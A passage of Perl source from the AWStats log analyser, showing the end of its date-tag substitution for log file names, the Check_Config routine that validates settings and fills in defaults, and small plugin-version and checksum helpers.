/%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) { 2445 2446 # Accept tag %xx-dd and %xx-(dd) 2447 my $timetag = "$1"; 2448 my $timephase = quotemeta("$2"); 2449 my $timephasenb = "$2"; 2450 $timephasenb =~ s/[^\d]//g; 2451 if ($Debug) { 2452 debug( 2453" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name", 2454 1 2455 ); 2456 } 2457 2458 # Get older time 2459 my ( 2460 $oldersec, $oldermin, $olderhour, $olderday, 2461 $oldermonth, $olderyear, $olderwday, $olderyday 2462 ) 2463 = localtime( $starttime - ( $timephasenb * 3600 ) ); 2464 my $olderweekofmonth = int( $olderday / 7 ); 2465 my $olderweekofyear = 2466 int( 2467 ( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) / 2468 7 ) + 1; 2469 if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; } 2470 my $olderdaymod = $olderday % 7; 2471 $olderwday++; 2472 my $olderns = 2473 Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear ); 2474 2475 if ( $olderdaymod <= $olderwday ) { 2476 if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) { 2477 $olderweekofmonth = $olderweekofmonth + 1; 2478 } 2479 } 2480 if ( $olderdaymod > $olderwday ) { 2481 $olderweekofmonth = $olderweekofmonth + 2; 2482 } 2483 2484 # Change format of time variables 2485 $olderweekofmonth = "0$olderweekofmonth"; 2486 if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; } 2487 if ( $olderyear < 100 ) { $olderyear += 2000; } 2488 else { $olderyear += 1900; } 2489 my $oldersmallyear = $olderyear; 2490 $oldersmallyear =~ s/^..//; 2491 if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; } 2492 if ( $olderday < 10 ) { $olderday = "0$olderday"; } 2493 if ( $olderhour < 10 ) { $olderhour = "0$olderhour"; } 2494 if ( $oldermin < 10 ) { $oldermin = "0$oldermin"; } 2495 if ( $oldersec < 10 ) { $oldersec = "0$oldersec"; } 2496 2497 # Replace tag with new value 2498 if ( $timetag eq 'YYYY' ) { 2499 $SourceString =~ s/%YYYY-$timephase/$olderyear/ig; 2500 next; 2501 } 2502 if ( $timetag eq 'YY' ) { 2503 $SourceString =~ s/%YY-$timephase/$oldersmallyear/ig; 2504 next; 2505 } 2506 if ( $timetag eq 'MM' ) { 2507 $SourceString =~ s/%MM-$timephase/$oldermonth/ig; 2508 next; 2509 } 2510 if ( $timetag eq 'MO' ) { 2511 $SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig; 2512 next; 2513 } 2514 if ( $timetag eq 'DD' ) { 2515 $SourceString =~ s/%DD-$timephase/$olderday/ig; 2516 next; 2517 } 2518 if ( $timetag eq 'HH' ) { 2519 $SourceString =~ s/%HH-$timephase/$olderhour/ig; 2520 next; 2521 } 2522 if ( $timetag eq 'NS' ) { 2523 $SourceString =~ s/%NS-$timephase/$olderns/ig; 2524 next; 2525 } 2526 if ( $timetag eq 'WM' ) { 2527 $SourceString =~ s/%WM-$timephase/$olderweekofmonth/g; 2528 next; 2529 } 2530 if ( $timetag eq 'Wm' ) { 2531 my $olderweekofmonth0 = $olderweekofmonth - 1; 2532 $SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g; 2533 next; 2534 } 2535 if ( $timetag eq 'WY' ) { 2536 $SourceString =~ s/%WY-$timephase/$olderweekofyear/g; 2537 next; 2538 } 2539 if ( $timetag eq 'Wy' ) { 2540 my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 ); 2541 $SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g; 2542 next; 2543 } 2544 if ( $timetag eq 'DW' ) { 2545 $SourceString =~ s/%DW-$timephase/$olderwday/g; 2546 next; 2547 } 2548 if ( $timetag eq 'Dw' ) { 2549 my $olderwday0 = $olderwday - 1; 2550 $SourceString =~ s/%Dw-$timephase/$olderwday0/g; 2551 next; 2552 } 2553 2554 # If unknown tag 2555 error("Unknown tag '\%$timetag' in parameter."); 2556 } 2557 2558# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility. 2559 $SourceString =~ s/%YYYY/$nowyear/ig; 2560 $SourceString =~ s/%YY/$nowsmallyear/ig; 2561 $SourceString =~ s/%MM/$nowmonth/ig; 2562 $SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig; 2563 $SourceString =~ s/%DD/$nowday/ig; 2564 $SourceString =~ s/%HH/$nowhour/ig; 2565 $SourceString =~ s/%NS/$nowns/ig; 2566 $SourceString =~ s/%WM/$nowweekofmonth/g; 2567 my $nowweekofmonth0 = $nowweekofmonth - 1; 2568 $SourceString =~ s/%Wm/$nowweekofmonth0/g; 2569 $SourceString =~ s/%WY/$nowweekofyear/g; 2570 my $nowweekofyear0 = $nowweekofyear - 1; 2571 $SourceString =~ s/%Wy/$nowweekofyear0/g; 2572 $SourceString =~ s/%DW/$nowwday/g; 2573 my $nowwday0 = $nowwday - 1; 2574 $SourceString =~ s/%Dw/$nowwday0/g; 2575 2576 return $SourceString; 2577} 2578 2579#------------------------------------------------------------------------------ 2580# Function: Check if all parameters are correctly defined. If not set them to default. 2581# Parameters: None 2582# Input: All global variables 2583# Output: Change on some global variables 2584# Return: None 2585#------------------------------------------------------------------------------ 2586sub Check_Config { 2587 if ($Debug) { debug("Call to Check_Config"); } 2588 2589 # Show initial values of main parameters before check 2590 if ($Debug) { 2591 debug( " LogFile='$LogFile'", 2 ); 2592 debug( " LogType='$LogType'", 2 ); 2593 debug( " LogFormat='$LogFormat'", 2 ); 2594 debug( " LogSeparator='$LogSeparator'", 2 ); 2595 debug( " DNSLookup='$DNSLookup'", 2 ); 2596 debug( " DirData='$DirData'", 2 ); 2597 debug( " DirCgi='$DirCgi'", 2 ); 2598 debug( " DirIcons='$DirIcons'", 2 ); 2599 debug( " NotPageList " . ( join( ',', keys %NotPageList ) ), 2 ); 2600 debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 ); 2601 debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 ); 2602 debug( " UseFramesWhenCGI=$UseFramesWhenCGI", 2 ); 2603 debug( " BuildReportFormat=$BuildReportFormat", 2 ); 2604 debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 ); 2605 debug( 2606 " URLWithQueryWithOnlyFollowingParameters=" 2607 . ( join( ',', @URLWithQueryWithOnly ) ), 2608 2 2609 ); 2610 debug( 2611 " URLWithQueryWithoutFollowingParameters=" 2612 . ( join( ',', @URLWithQueryWithout ) ), 2613 2 2614 ); 2615 } 2616 2617 # Main section 2618 $LogFile = &Substitute_Tags($LogFile); 2619 if ( !$LogFile ) { 2620 error("LogFile parameter is not defined in config/domain file"); 2621 } 2622 if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; } 2623 $LogFormat =~ s/\\//g; 2624 if ( !$LogFormat ) { 2625 error("LogFormat parameter is not defined in config/domain file"); 2626 } 2627 if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) { 2628 error( 2629"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')" 2630 ); 2631 } 2632 $LogSeparator ||= "\\s"; 2633 $DirData ||= '.'; 2634 $DirCgi ||= '/cgi-bin'; 2635 $DirIcons ||= '/icon'; 2636 if ( $DNSLookup !~ /[0-2]/ ) { 2637 error( 2638"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)" 2639 ); 2640 } 2641 if ( !$SiteDomain ) { 2642 error( 2643"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats." 2644 ); 2645 } 2646 if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) { 2647 $AllowToUpdateStatsFromBrowser = 0; 2648 } 2649 if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; } 2650 2651 # Optional setup section 2652 if ( !$SectionsToBeSaved ) { $SectionsToBeSaved = 'all'; } 2653 if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; } 2654 $DNSStaticCacheFile ||= 'dnscache.txt'; 2655 $DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt'; 2656 if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) { 2657 error( 2658"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values." 2659 ); 2660 } 2661 if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) { 2662 $AllowAccessFromWebToAuthenticatedUsersOnly = 0; 2663 } 2664 if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) { 2665 $CreateDirDataIfNotExists = 0; 2666 } 2667 if ( $BuildReportFormat !~ /html|xhtml|xml/i ) { 2668 $BuildReportFormat = 'html'; 2669 } 2670 if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; } 2671 if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) { 2672 $SaveDatabaseFilesWithPermissionsForEveryone = 0; 2673 } 2674 if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; } 2675 if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) { 2676 $KeepBackupOfHistoricFiles = 0; 2677 } 2678 $DefaultFile[0] ||= 'index.html'; 2679 if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) { 2680 $AuthenticatedUsersNotCaseSensitive = 0; 2681 } 2682 if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; } 2683 if ( $URLWithAnchor !~ /[0-1]/ ) { $URLWithAnchor = 0; } 2684 $URLQuerySeparators =~ s/\s//g; 2685 if ( !$URLQuerySeparators ) { $URLQuerySeparators = '?;'; } 2686 if ( $URLWithQuery !~ /[0-1]/ ) { $URLWithQuery = 0; } 2687 if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; } 2688 if ( $WarningMessages !~ /[0-1]/ ) { $WarningMessages = 1; } 2689 if ( $DebugMessages !~ /[0-1]/ ) { $DebugMessages = 0; } 2690 2691 if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 ) 2692 { 2693 $NbOfLinesForCorruptedLog = 50; 2694 } 2695 if ( $Expires !~ /^\d+/ ) { $Expires = 0; } 2696 if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; } 2697 $MiscTrackerUrl ||= '/js/awstats_misc_tracker.js'; 2698 2699 # Optional accuracy setup section 2700 if ( $LevelForWormsDetection !~ /^\d+/ ) { $LevelForWormsDetection = 0; } 2701 if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; } 2702 if ( $LevelForBrowsersDetection !~ /^\w+/ ) { 2703 $LevelForBrowsersDetection = 2; 2704 } # Can be 'allphones' 2705 if ( $LevelForOSDetection !~ /^\d+/ ) { $LevelForOSDetection = 2; } 2706 if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; } 2707 if ( $LevelForFileTypesDetection !~ /^\d+/ ) { 2708 $LevelForFileTypesDetection = 2; 2709 } 2710 if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) { 2711 $LevelForSearchEnginesDetection = 2; 2712 } 2713 if ( $LevelForKeywordsDetection !~ /^\d+/ ) { 2714 $LevelForKeywordsDetection = 2; 2715 } 2716 2717 # Optional extra setup section 2718 foreach my $extracpt ( 1 .. @ExtraName - 1 ) { 2719 if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) { 2720 $ExtraStatTypes[$extracpt] = 'PHBL'; 2721 } 2722 if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/ 2723 || $MaxNbOfExtra[$extracpt] < 0 ) 2724 { 2725 $MaxNbOfExtra[$extracpt] = 20; 2726 } 2727 if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 ) 2728 { 2729 $MinHitExtra[$extracpt] = 1; 2730 } 2731 if ( !$ExtraFirstColumnValues[$extracpt] ) { 2732 error( 2733"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter" 2734 ); 2735 } 2736 if ( !$ExtraFirstColumnFormat[$extracpt] ) { 2737 $ExtraFirstColumnFormat[$extracpt] = '%s'; 2738 } 2739 } 2740 2741 # Optional appearance setup section 2742 if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) { 2743 $MaxRowsInHTMLOutput = 1000; 2744 } 2745 if ( $ShowMenu !~ /[01]/ ) { $ShowMenu = 1; } 2746 if ( $ShowSummary !~ /[01UVPHB]/ ) { $ShowSummary = 'UVPHB'; } 2747 if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; } 2748 if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) { 2749 $ShowDaysOfMonthStats = 'VPHB'; 2750 } 2751 if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; } 2752 if ( $ShowHoursStats !~ /[01PHBL]/ ) { $ShowHoursStats = 'PHBL'; } 2753 if ( $ShowDomainsStats !~ /[01PHB]/ ) { $ShowDomainsStats = 'PHB'; } 2754 if ( $ShowHostsStats !~ /[01PHBL]/ ) { $ShowHostsStats = 'PHBL'; } 2755 2756 if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) { 2757 $ShowAuthenticatedUsers = 0; 2758 } 2759 if ( $ShowRobotsStats !~ /[01HBL]/ ) { $ShowRobotsStats = 'HBL'; } 2760 if ( $ShowWormsStats !~ /[01HBL]/ ) { $ShowWormsStats = 'HBL'; } 2761 if ( $ShowEMailSenders !~ /[01HBML]/ ) { $ShowEMailSenders = 0; } 2762 if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers = 0; } 2763 if ( $ShowSessionsStats !~ /[01]/ ) { $ShowSessionsStats = 1; } 2764 if ( $ShowPagesStats !~ /[01PBEX]/i ) { $ShowPagesStats = 'PBEX'; } 2765 if ( $ShowFileTypesStats !~ /[01HBC]/ ) { $ShowFileTypesStats = 'HB'; } 2766 if ( $ShowDownloadsStats !~ /[01HB]/ ) { $ShowDownloadsStats = 'HB';} 2767 if ( $ShowFileSizesStats !~ /[01]/ ) { $ShowFileSizesStats = 1; } 2768 if ( $ShowOSStats !~ /[01]/ ) { $ShowOSStats = 1; } 2769 if ( $ShowBrowsersStats !~ /[01]/ ) { $ShowBrowsersStats = 1; } 2770 if ( $ShowScreenSizeStats !~ /[01]/ ) { $ShowScreenSizeStats = 0; } 2771 if ( $ShowOriginStats !~ /[01PH]/ ) { $ShowOriginStats = 'PH'; } 2772 if ( $ShowKeyphrasesStats !~ /[01]/ ) { $ShowKeyphrasesStats = 1; } 2773 if ( $ShowKeywordsStats !~ /[01]/ ) { $ShowKeywordsStats = 1; } 2774 if ( $ShowClusterStats !~ /[01PHB]/ ) { $ShowClusterStats = 0; } 2775 if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats = 'a'; } 2776 if ( $ShowHTTPErrorsStats !~ /[01]/ ) { $ShowHTTPErrorsStats = 1; } 2777 if ( $ShowHTTPErrorsPageDetail !~ /[RH]/ ) { $ShowHTTPErrorsPageDetail = 'R'; } 2778 if ( $ShowSMTPErrorsStats !~ /[01]/ ) { $ShowSMTPErrorsStats = 0; } 2779 if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; } 2780 2781 if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) { 2782 $AddDataArrayShowDaysOfMonthStats = 1; 2783 } 2784 if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) { 2785 $AddDataArrayShowDaysOfWeekStats = 1; 2786 } 2787 if ( $AddDataArrayShowHoursStats !~ /[01]/ ) { 2788 $AddDataArrayShowHoursStats = 1; 2789 } 2790 my @maxnboflist = ( 2791 'Domain', 'HostsShown', 2792 'LoginShown', 'RobotShown', 2793 'WormsShown', 'PageShown', 2794 'OsShown', 'BrowsersShown', 2795 'ScreenSizesShown', 'RefererShown', 2796 'KeyphrasesShown', 'KeywordsShown', 2797 'EMailsShown', 'DownloadsShown' 2798 ); 2799 my @maxnboflistdefaultval = 2800 ( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 ); 2801 foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) { 2802 if ( !$MaxNbOf{ $maxnboflist[$i] } 2803 || $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/ 2804 || $MaxNbOf{ $maxnboflist[$i] } < 1 ) 2805 { 2806 $MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i]; 2807 } 2808 } 2809 my @minhitlist = ( 2810 'Domain', 'Host', 'Login', 'Robot', 2811 'Worm', 'File', 'Os', 'Browser', 2812 'ScreenSize', 'Refer', 'Keyphrase', 'Keyword', 2813 'EMail', 'Downloads' 2814 ); 2815 my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ); 2816 foreach my $i ( 0 .. ( @minhitlist - 1 ) ) { 2817 if ( !$MinHit{ $minhitlist[$i] } 2818 || $MinHit{ $minhitlist[$i] } !~ /^\d+$/ 2819 || $MinHit{ $minhitlist[$i] } < 1 ) 2820 { 2821 $MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i]; 2822 } 2823 } 2824 if ( $FirstDayOfWeek !~ /[01]/ ) { $FirstDayOfWeek = 1; } 2825 if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; } 2826 if ( $DetailedReportsOnNewWindows !~ /[012]/ ) { 2827 $DetailedReportsOnNewWindows = 1; 2828 } 2829 if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; } 2830 if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) { 2831 $MaxLengthOfShownURL = 64; 2832 } 2833 if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; } 2834 $Logo ||= 'awstats_logo6.png'; 2835 $LogoLink ||= 'http://www.awstats.org'; 2836 if ( $BarWidth !~ /^\d+/ || $BarWidth < 1 ) { $BarWidth = 260; } 2837 if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; } 2838 $color_Background =~ s/#//g; 2839 if ( $color_Background !~ /^[0-9|A-H]+$/i ) { 2840 $color_Background = 'FFFFFF'; 2841 } 2842 $color_TableBGTitle =~ s/#//g; 2843 2844 if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) { 2845 $color_TableBGTitle = 'CCCCDD'; 2846 } 2847 $color_TableTitle =~ s/#//g; 2848 if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) { 2849 $color_TableTitle = '000000'; 2850 } 2851 $color_TableBG =~ s/#//g; 2852 if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; } 2853 $color_TableRowTitle =~ s/#//g; 2854 if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) { 2855 $color_TableRowTitle = 'FFFFFF'; 2856 } 2857 $color_TableBGRowTitle =~ s/#//g; 2858 if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) { 2859 $color_TableBGRowTitle = 'ECECEC'; 2860 } 2861 $color_TableBorder =~ s/#//g; 2862 if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) { 2863 $color_TableBorder = 'ECECEC'; 2864 } 2865 $color_text =~ s/#//g; 2866 if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; } 2867 $color_textpercent =~ s/#//g; 2868 if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) { 2869 $color_textpercent = '606060'; 2870 } 2871 $color_titletext =~ s/#//g; 2872 if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; } 2873 $color_weekend =~ s/#//g; 2874 if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; } 2875 $color_link =~ s/#//g; 2876 if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; } 2877 $color_hover =~ s/#//g; 2878 if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; } 2879 $color_other =~ s/#//g; 2880 if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; } 2881 $color_u =~ s/#//g; 2882 if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; } 2883 $color_v =~ s/#//g; 2884 if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; } 2885 $color_p =~ s/#//g; 2886 if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; } 2887 $color_h =~ s/#//g; 2888 if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; } 2889 $color_k =~ s/#//g; 2890 if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; } 2891 $color_s =~ s/#//g; 2892 if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; } 2893 $color_e =~ s/#//g; 2894 if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; } 2895 $color_x =~ s/#//g; 2896 if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; } 2897 2898 # Correct param if default value is asked 2899 if ( $ShowSummary eq '1' ) { $ShowSummary = 'UVPHB'; } 2900 if ( $ShowMonthStats eq '1' ) { $ShowMonthStats = 'UVPHB'; } 2901 if ( $ShowDaysOfMonthStats eq '1' ) { $ShowDaysOfMonthStats = 'VPHB'; } 2902 if ( $ShowDaysOfWeekStats eq '1' ) { $ShowDaysOfWeekStats = 'PHBL'; } 2903 if ( $ShowHoursStats eq '1' ) { $ShowHoursStats = 'PHBL'; } 2904 if ( $ShowDomainsStats eq '1' ) { $ShowDomainsStats = 'PHB'; } 2905 if ( $ShowHostsStats eq '1' ) { $ShowHostsStats = 'PHBL'; } 2906 if ( $ShowEMailSenders eq '1' ) { $ShowEMailSenders = 'HBML'; } 2907 if ( $ShowEMailReceivers eq '1' ) { $ShowEMailReceivers = 'HBML'; } 2908 if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; } 2909 if ( $ShowRobotsStats eq '1' ) { $ShowRobotsStats = 'HBL'; } 2910 if ( $ShowWormsStats eq '1' ) { $ShowWormsStats = 'HBL'; } 2911 if ( $ShowPagesStats eq '1' ) { $ShowPagesStats = 'PBEX'; } 2912 if ( $ShowFileTypesStats eq '1' ) { $ShowFileTypesStats = 'HB'; } 2913 if ( $ShowDownloadsStats eq '1' ) { $ShowDownloadsStats = 'HB';} 2914 if ( $ShowOriginStats eq '1' ) { $ShowOriginStats = 'PH'; } 2915 if ( $ShowClusterStats eq '1' ) { $ShowClusterStats = 'PHB'; } 2916 if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; } 2917 2918# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal... 2919 foreach my $extranum ( 1 .. @ExtraName - 1 ) { 2920 my $part = 0; 2921 foreach my $conditioncouple ( 2922 split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) ) 2923 { 2924 my ( $conditiontype, $conditiontypeval ) = 2925 split( /[,:]/, $conditioncouple, 2 ); 2926 $ExtraConditionType[$extranum][$part] = $conditiontype; 2927 if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) { 2928 $conditiontypeval = $1; 2929 } 2930 2931 #else { $conditiontypeval=quotemeta($conditiontypeval); } 2932 $ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i; 2933 $part++; 2934 } 2935 $part = 0; 2936 foreach my $rowkeycouple ( 2937 split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) ) 2938 { 2939 my ( $rowkeytype, $rowkeytypeval ) = 2940 split( /[,:]/, $rowkeycouple, 2 ); 2941 $ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype; 2942 if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; } 2943 2944 #else { $rowkeytypeval=quotemeta($rowkeytypeval); } 2945 $ExtraFirstColumnValuesTypeVal[$extranum][$part] = 2946 qr/$rowkeytypeval/i; 2947 $part++; 2948 } 2949 } 2950 2951 # Show definitive value for major parameters 2952 if ($Debug) { 2953 debug( " LogFile='$LogFile'", 2 ); 2954 debug( " LogFormat='$LogFormat'", 2 ); 2955 debug( " LogSeparator='$LogSeparator'", 2 ); 2956 debug( " DNSLookup='$DNSLookup'", 2 ); 2957 debug( " DirData='$DirData'", 2 ); 2958 debug( " DirCgi='$DirCgi'", 2 ); 2959 debug( " DirIcons='$DirIcons'", 2 ); 2960 debug( " SiteDomain='$SiteDomain'", 2 ); 2961 debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 ); 2962 foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); } 2963 foreach ( keys %MinHit ) { debug( " MinHit{$_}=$MinHit{$_}", 2 ); } 2964 2965 foreach my $extranum ( 1 .. @ExtraName - 1 ) { 2966 debug( 2967 " ExtraCodeFilter[$extranum] is array " 2968 . join( ',', @{ $ExtraCodeFilter[$extranum] } ), 2969 2 2970 ); 2971 debug( 2972 " ExtraConditionType[$extranum] is array " 2973 . join( ',', @{ $ExtraConditionType[$extranum] } ), 2974 2 2975 ); 2976 debug( 2977 " ExtraConditionTypeVal[$extranum] is array " 2978 . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ), 2979 2 2980 ); 2981 debug( 2982 " ExtraFirstColumnFunction[$extranum] is array " 2983 . join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ), 2984 2 2985 ); 2986 debug( 2987 " ExtraFirstColumnValuesType[$extranum] is array " 2988 . join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ), 2989 2 2990 ); 2991 debug( 2992 " ExtraFirstColumnValuesTypeVal[$extranum] is array " 2993 . join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ), 2994 2 2995 ); 2996 } 2997 } 2998 2999# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set 3000 if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) { 3001 error( 3002"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time" 3003 ); 3004 } 3005 3006 # Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set 3007 if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) { 3008 error( 3009"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time" 3010 ); 3011 } 3012 3013 # Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on 3014 if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) { 3015 error( 3016"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0" 3017 ); 3018 } 3019 3020 # If not a migrate, check if DirData is OK 3021 if ( !$MigrateStats && !-d $DirData ) { 3022 if ($CreateDirDataIfNotExists) { 3023 if ($Debug) { debug( " Make directory $DirData", 2 ); } 3024 my $mkdirok = mkdir "$DirData", 0766; 3025 if ( !$mkdirok ) { 3026 error( 3027"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)." 3028 ); 3029 } 3030 } 3031 else { 3032 error( 3033"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable." 3034 ); 3035 } 3036 } 3037 3038 if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; } 3039} 3040 3041#------------------------------------------------------------------------------ 3042# Function: Common function used by init function of plugins 3043# Parameters: AWStats version required by plugin 3044# Input: $VERSION 3045# Output: None 3046# Return: '' if ok, "Error: xxx" if error 3047#------------------------------------------------------------------------------ 3048sub Check_Plugin_Version { 3049 my $PluginNeedAWStatsVersion = shift; 3050 if ( !$PluginNeedAWStatsVersion ) { return 0; } 3051 $VERSION =~ /^(\d+)\.(\d+)/; 3052 my $numAWStatsVersion = ( $1 * 1000 ) + $2; 3053 $PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/; 3054 my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2; 3055 if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) { 3056 return 3057"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION."; 3058 } 3059 return ''; 3060} 3061 3062#------------------------------------------------------------------------------ 3063# Function: Return a checksum for an array of string 3064# Parameters: Array of string 3065# Input: None 3066# Output: None 3067# Return: Checksum number 3068#------------------------------------------------------------------------------ 3069sub CheckSum { 3070 my $string = shift; 3071 my $checksum = 0; 3072 3073 # use MD5; 3074 # $checksum = MD5->hexhash($string); 3075 my $i = 0; 3076 my $j = 0; 3077 while ( $i < length($string) ) { 3078 my $c = substr( $string, $i, 1 ); 3079 $checksum += ( ord($c) << ( 8 * $j ) ); 3080 if ( $j++ > 3 ) { $j = 0; } 3081 $i++; 3082 } 3083 return $checksum; 3084} 3085 3086#------------------------------------------------------------------------------ 3087# Function: Load plugins files 3088# Parameters: None 3089# 